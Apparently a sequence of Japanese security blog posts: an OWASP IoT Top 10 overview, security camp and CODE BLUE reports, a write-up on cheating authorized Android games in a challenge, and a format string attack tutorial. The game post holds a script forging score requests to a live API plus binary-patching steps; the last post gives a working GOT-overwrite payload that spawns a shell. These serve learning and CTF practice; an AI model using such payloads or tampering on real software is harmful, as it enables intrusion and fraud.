Iot機器の検査とファームウェアのハッキング概要(1)

弊社で開催しているセキュリティハッカソンでは毎年、webアプリなどに対して脆弱性検査を行い発見した個数と影響度を競う大会を開催しています。

今年はIot機器への脆弱性検査も予定していましてIot機器へのアタックするためいろいろ私なりに調べています。

Iotのセキュティホールはどこにありそうか。

セキュリティホールを探すとき、闇雲に探すのではなくセキュリティホールのある場所をしっかり理解して検査する必要があります。Owaspという団体が「Iot TESTING GUIDANCE」を公開しています。

https://www.owasp.org/images/2/2d/Iot_testing_methodology.JPG

それを見ていきましょう。

1 , Insecure Web Interface (セキュアじゃないWebインターフェイス)

2 , Lack of Transport Encryption (転送時の暗号化漏れ)

  • 通信するデバイス同士の暗号化はしているか
  • 独自の暗号化、プロトコルを使用していないか

3 , Insufficient Security Configurability (十分じゃない設定)

  • パスワードの長さや堅牢さのオプション設定
  • 暗号化のオプションが利用可能か。例えば、AES-128がデフォルト設定だがAES-256を使える設定ができるか

4 , Poor Physical Security ( 物理的セキュリティの弱点)

  • そのデバイスのUSB ポートなどの外部接続ポートが必要最小数か

5 ,  Insufficient Authentication / Authorization (十分じゃない認証)

  • パスワードリカバリのメカニズム
  • 2要素認証が利用できるか

6 , Insecure Cloud Interface (セキュアじゃないクラウドインターフェイス)

Top 10のうち前編は6つ紹介しました。

さらに詳しくは、

https://www.owasp.org/images/7/71/Internet_of_Things_Top_Ten_2014-OWASP.pdf

を見るといいと思います。

後編はPrivacy Concerns , Insecure Mobile Interface , Insecure Network Services , 

Insecure Software/Firmwareの4つを見ていきます。

次に、ファームウェアとはなにか。どのように解体していくを大雑把に書いていきます。

では。

 

セキュリティ・ミニキャンプ in 東北に行ってきた話

先日開催されたセキュリティミニキャンプ in 東北に行ってきました!

自分は去年に続き2回目の参加でした。


事前課題
今回のミニキャンプの事前課題として、pcapファイルが渡されました(3問)。これがなかなか難しくて、普段からやっているCTFでは、パケットのなかにflagというものが必ずあってそれを探せばよいのですが、今回の事前課題(2/3問)では、どんな通信をしているのか問われていたので、現実的でいい勉強になりました。
どんな通信をしているのかは、わかるけど、どうしてこうなってるのかという明確な理由が思いつかなかったので結局解けないものもありましたが、とても楽しめましたw


1日目(一般講座)
これは、twitterなどでまとめなどがあるので割愛します!が宮城出身の僕としては、宮城にもセキュリティをやっている企業があるのを知れたのは、とてもためになりました。それと宮城県警サイバーセキュリティ担当の方がどんな仕事をやってきたのか、普段どんな仕事をやっているのかみたいな話はとても興味深かったです。


2日目(専門講座)
2日目は、ネットワークのセキュリティ診断の講義とファジング実践の講義でした!

ネットワークセキュリティ診断
ローカルなネットワーク内で稼働している複数のサーバの脆弱性や悪い仕様などをついて侵入してみようという講義でした。色々アクシデントはありましたが、とても楽しめました!普段から家のローカルな環境で色々実験しているつもりでしたが、実際やってみるとネットワーク診断って難しいなと感じたのと、時間内でサーバーを攻略することができなくて自分の技術力なさを痛感しましたw 結構時間短いと感じたのですが、チューターさんたちは普通にサーバー攻略してroot権限とっていたので、プロという感じでした。


ファジンング入門

外部から遮断されたネットワーク内の各自のパソコンの上に立てられた仮想環境で動いているWebサーバーのLighttpに対して、IPAのファジングツールで大量の細工したHTTPリクエストを送り、ヘッダの処理などに脆弱性がないかを探そうという講義でした。ただツールを使って、脆弱性あったで終わるのではなく、Wiresharkでキャプチャしたパケットから脆弱性があると判断されたパケットを特定し、そのパケットから脆弱性の要因を考える感じでした。ちなみに本キャンプでは、めっちゃ高いという噂の有料版を使うらしいw ファジングツールは大量のリクエストが送るので、実行時間がかなり長くて劇辛いという気持ちでしたww 心を無にしてパケット眺めながら脆弱性が見つかるの待ってたんですが、見つかってくれなくて、アッ!という感じで泣いてましたorz どうやら想定脆弱性が一個だったらしい!! (いっぱいあるのかと思ってた) ファジングツールを回している最中は山下さんと、ファジングのツール自作についての話もできたので、勉強になりました。とりあえず外との通信遮断して、今回使ったファジングツールを自宅のローカル環境で、何かに試してみたい気持ちでいっぱいなので冬休みにでも、試してみようかと思います。


なんというか、今回のミニキャンプで、もう少しCTFをするにしろ、セキュリティ学ぶにしろ、もう少し実際はどうやって使われているのかなど考えながら実践的に学んだほうがよいのではと強く思いました。できないの辛いので精進します!!

東北以外でもミニキャンプは開催されていたり、来年もおそらく開催されるので興味ある方は、ぜひミニキャンプに行ってみてください~~


来年は就活や研究で忙しそうだけど、セキュキャン本大会に応募して合格したいですね~~~~。。。。

杉山

CODE BLUE 2015 0日目

皆さんこんにちは!
今回はCODE BLUE 2015 というカンファレンスに学生ボランティアとして参加させていただくことになりましたので、その様子を書かせていただきます。

その前にCODE BLUE とは何か、についてなのですが、サイトには、
CODE BLUEとは、世界トップクラスの情報セキュリティ専門家による最先端の講演と、国や言語の垣根を越えた情報交換・交流の機会を提供する国際会議です。
とあります。

0日目は夜に集合し、顔合わせなど終わせてから明日の準備をしました。
カンファレンス自体は明日からなので、どことなくみなさん忙しそうでしたが、準備も完了し明日からのシフト確認をしました。

二日間開催されるので、僕達も講演を聴講出来るので明日、明後日に一日ごとにまとめていきたいと思いますのでよろしくお願いします。

codeblue.jp

Androidゲームをチートしてみた(SECCON 2015 × CEDEC CHALLENGEにて)

こんにちは、佐藤です。SECCON 2015 × CEDEC CHALLENGEは8月10日まで募集されていたゲームのクラッキングとチートのチャレンジです。

対象アプリは今回はAndroidアプリでした。私がしたチートを書きたいと思います。
[注意]今から書くことを一般のアプリに対して行った場合、犯罪になることがあります。今回は、許可されているアプリであるため検査を行いました。悪用厳禁でお願いします。

対象アプリ1つ目 「sandback」

このアプリは、下のようなサンドバッグをタップするとポイントが加算されていくゲームです。そして、右のようにランキングがでます。使っているゲームエンジンはUnity。

f:id:eyesjapan:20150815192620p:plainf:id:eyesjapan:20150815193057p:plain

このゲームはぼろぼろでした。

まず、通信をのぞき見てみましたら。

f:id:eyesjapan:20150815193916p:plain

httpリクエストは以下の通り。

POST /score/ranking/ HTTP/1.1
X-Unity-Version: 5.0.2f1
Content-Type: application/json; charset=UTF-8
User-Agent: Dalvik/1.6.0 (Linux; U; Android 4.4.4; SO-02G Build/23.0.B.1.59)
Host: api.sandbag2015.net
Connection: Keep-Alive
Accept-Encoding: gzip
Content-Length: 76

{"uuid":"a36cfae0-1eb8-4a55-83ef-e4ac8a2fc809","name":"hooters","point":12345678}

これを送りつけるスクリプトにして、

#!/usr/bin/env python

import urllib2
import sys
argvs = sys.argv
names = '"' + argvs[1] + '"'
points = argvs[2]
target_url = "http://api.sandbag2015.net/score/ranking/"
data = '{"uuid":"a36cfae0-1eb8-4a55-83ef-e4ac8a2fc809","name":' + names + ',"point":' + points + '}'
cl = len(data)
heders = {'X-Unity-Version':'5.0.2f1',
'Content-Type':'application/json; charset=UTF-8',
'User-Agent':'Dalvik/1.6.0 (Linux; U; Android 4.4.4; SO-02G Build/23.0.B.1.59)',
'Host':'api.sandbag2015.net',
'Connection':'Keep-Alive',
'Accept-Encoding':'gzip',
'Content-Length': cl,
}

print data
getpoint = urllib2.Request(target_url,data,heders)
resp = urllib2.urlopen(getpoint)
logs = resp.read()

print logs

res_head = resp.info()
print res_head.getheaders("Date")
print res_head.getheaders("Server")
print res_head.getheaders("X-Powered-By")
print res_head.getheaders("Set-Cookie")
print res_head.getheaders("Expires")
print res_head.getheaders("Cache-Control")
print res_head.getheaders("Pragma")
print res_head.getheaders("Content-Length")
print res_head.getheaders("Connection")
print res_head.getheaders("Content-Type")

f:id:eyesjapan:20150815195951p:plain

もはやゲームしなくてもスコア好きな値にできるし他の人のクッキーも予想できそうにないので次のアプリへ・・・

対象アプリ2つ目「SUNIDRA」

f:id:eyesjapan:20150815200809j:plain

このステージの奥にいるドラゴンを倒したら勝ち。残っているタイムが自分のスコア。
通信見たが暗号化されていてめんどくさいので他のことを考える。
クライアントを改竄する。
Unityアプリ内にゲームをルールなど司るバイナリをリーバースエンジニアリングする。
このバイナリの正体は他のライブラリから直接参照できる中間言語。故に、逆コンパイル、逆アセンブラが簡単。f:id:eyesjapan:20150815204247p:plain
DotNetResolverという逆コンパイラツールをつかってます。上は、ゲームオーバー時の処理です。
とりあえず、nop(何もしない)で埋めてみました。
f:id:eyesjapan:20150815204455p:plain
そして、Apk Editerというアプリを使って再ビルドします。apkを再構築するのには作者を守るため署名が必要でそれなしには偽装アプリをインストールすらできないのですがうまく偽装されています。
f:id:eyesjapan:20150815205112p:plain
ゲームオーバーの処理が行われずスコアがマイナスになり(笑
これでは勝てないので、f:id:eyesjapan:20150815205237p:plain
コンパイラのコードを読むとGameRuleCtrlモジュールのUpdate()に時間をカウントしているところがありました。
Update関数はUnityでワンフレームごとに実行する関数です。
これを+にします。
f:id:eyesjapan:20150815205514p:plain
背景がピンクなのは運営側も知っているバグ出そうです。
sub というオペコードをaddに変更します。
ドラゴンの攻撃力が尋常じゃないので受けたダメージ分自分のHPに加える用に同じ容量で変更しました。
f:id:eyesjapan:20150815210129p:plain
そしてクリア!したと思ったんですが(笑
f:id:eyesjapan:20150815210222p:plain
対策されてた(笑
おそらくチェックサムによるクライアント認識。
こうなったら、プロセスメモリをいじるしかない。(諦め早いかも)
AndroidプロセスメモリエディタのGameGuardianを使って
f:id:eyesjapan:20150815211103p:plain
Androidのasrlを無効(0)にして
f:id:eyesjapan:20150815211236p:plain
メモリを素早く見つけるには少し慣れが必要。アドレス0007DD0に格納される000008DEがスコアに相当。
これを変更すれば反映されると思ったんだのですが。 うまくいかなかった。。。
指摘するところと言えばコピー作成が可能など。
例のぼろぼろアプリはこの方法でも改竄できました。
f:id:eyesjapan:20150815211901p:plain

肝心レポートに手を抜いてしまった。ゲームをチートから守る方法が大きな点数らしいのでまずいです。
とりあえずrootの状態でゲームをさせてしまうと危険です。開発者の皆さんお気をつけください。rootだと判明したら(アプリでrootが必要なコマンドをわざと実行しErrorを得るか得ないかで判定とか)ゲームはさせない設計などもいいと思います。

以上です。

Format String AttackでGOTを上書きしてみた

こんにちは。今回はFormat String AttackでGOTを上書きすることによって、プログラムの通常動作では行われないsystem関数を呼び出してみたいと思います。

今回の環境

Ubuntu 14.04 TLS 32bit
コンパイル方法 gcc -z execstack foramt_vuln.c -o format_vuln

今回使用するプログラム
このプログラムは引数に任意の値をとれ、その引数がprintfの書式引数にそのまま渡っているためFormat String Attackの脆弱性があります。またkeyの値は通常は1であるので、通常動作ではsystem関数は実行されない。


まず初めにFormat String Attackとはどんな脆弱性なのか?
printf()やsyslog()等のライブラリの書式編集機能を悪用し、実行中のプログラムのメモリを読めたり、書き換えたりできる脆弱性です。



実際にGOTを書き換えてみる。
ここから本題です。GOTをsystem関数の関数実行直前に書き換え!key(cmp)の比較する部分を迂回するというのが、今回の目標です。

まず適当に複数の%xを引数にとり、どこにbufの先頭があるかを調べます。

$ ./format_vuln 'AAAA%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x'
AAAAbfdfc368.64.bfdfc0b4.bfdfc054.1.41414141.252e7825.78252e78.2e78252e.252e7825.78252e78

出力からbufの先頭のオフセットは6ということがわかった。

次にGOTの書き換えたいアドレスを保持しているアドレスを見つける。

$ objdump -D ./format_vuln |grep "@plt>:" -A1
08048390 <printf@plt>:
 8048390:	ff 25 0c a0 04 08    	jmp    *0x804a00c
--
080483a0 <puts@plt>:
 80483a0:	ff 25 10 a0 04 08    	jmp    *0x804a010
--
080483b0 <system@plt>:
 80483b0:	ff 25 14 a0 04 08    	jmp    *0x804a014
--
080483c0 <__gmon_start__@plt>:
 80483c0:	ff 25 18 a0 04 08    	jmp    *0x804a018
--
080483d0 <exit@plt>:
 80483d0:	ff 25 1c a0 04 08    	jmp    *0x804a01c
--
080483e0 <__libc_start_main@plt>:
 80483e0:	ff 25 20 a0 04 08    	jmp    *0x804a020
--
080483f0 <putchar@plt>:
 80483f0:	ff 25 24 a0 04 08    	jmp    *0x804a024
--
08048400 <strncpy@plt>:
 8048400:	ff 25 28 a0 04 08    	jmp    *0x804a028

この結果からputcharのGOTアドレスを書き換えれば、 putcharが呼ばれた際に書き換えた値にjumpすることが可能になる。

結果
'\x24\xa0\x04\x08\x25\xa0\x04\x08\x26\xa0\x04\x08\x27\xa0\x04\x08%127c%6$hhn%246c%7$hhn%127c%8$hhn%4c%9$hhn’を引数にとるとputcharのアドレスを比較を迂回する丁度良い位置(今回の場合は0x804858f)jumpができshellを起動できる。

実際に上の引数を取り、format_vulnを実行するコードを書いてみる。

#format.py
from subprocess import Popen,PIPE

buf='\x24\xa0\x04\x08\x25\xa0\x04\x08\x26\xa0\x04\x08\x27\xa0\x04\x08%127c%6$hhn%246c%7$hhn%127c%8$hhn%4c%9$hhn'
 
p = Popen('./format_vuln',stdin=PIPE)
p.stdin.write(buf)


このコードを実行してみる。

$python format.py 
pugichan@ubuntu:~/FORMAT$ Invalid argument number
uname -a
Linux ubuntu 3.16.0-34-generic #45~14.04.1-Ubuntu SMP Tue Mar 24 11:13:52 UTC 2015 i686 i686 i686 GNU/Linux


shellが起動できコマンドが実行できていることがわかる。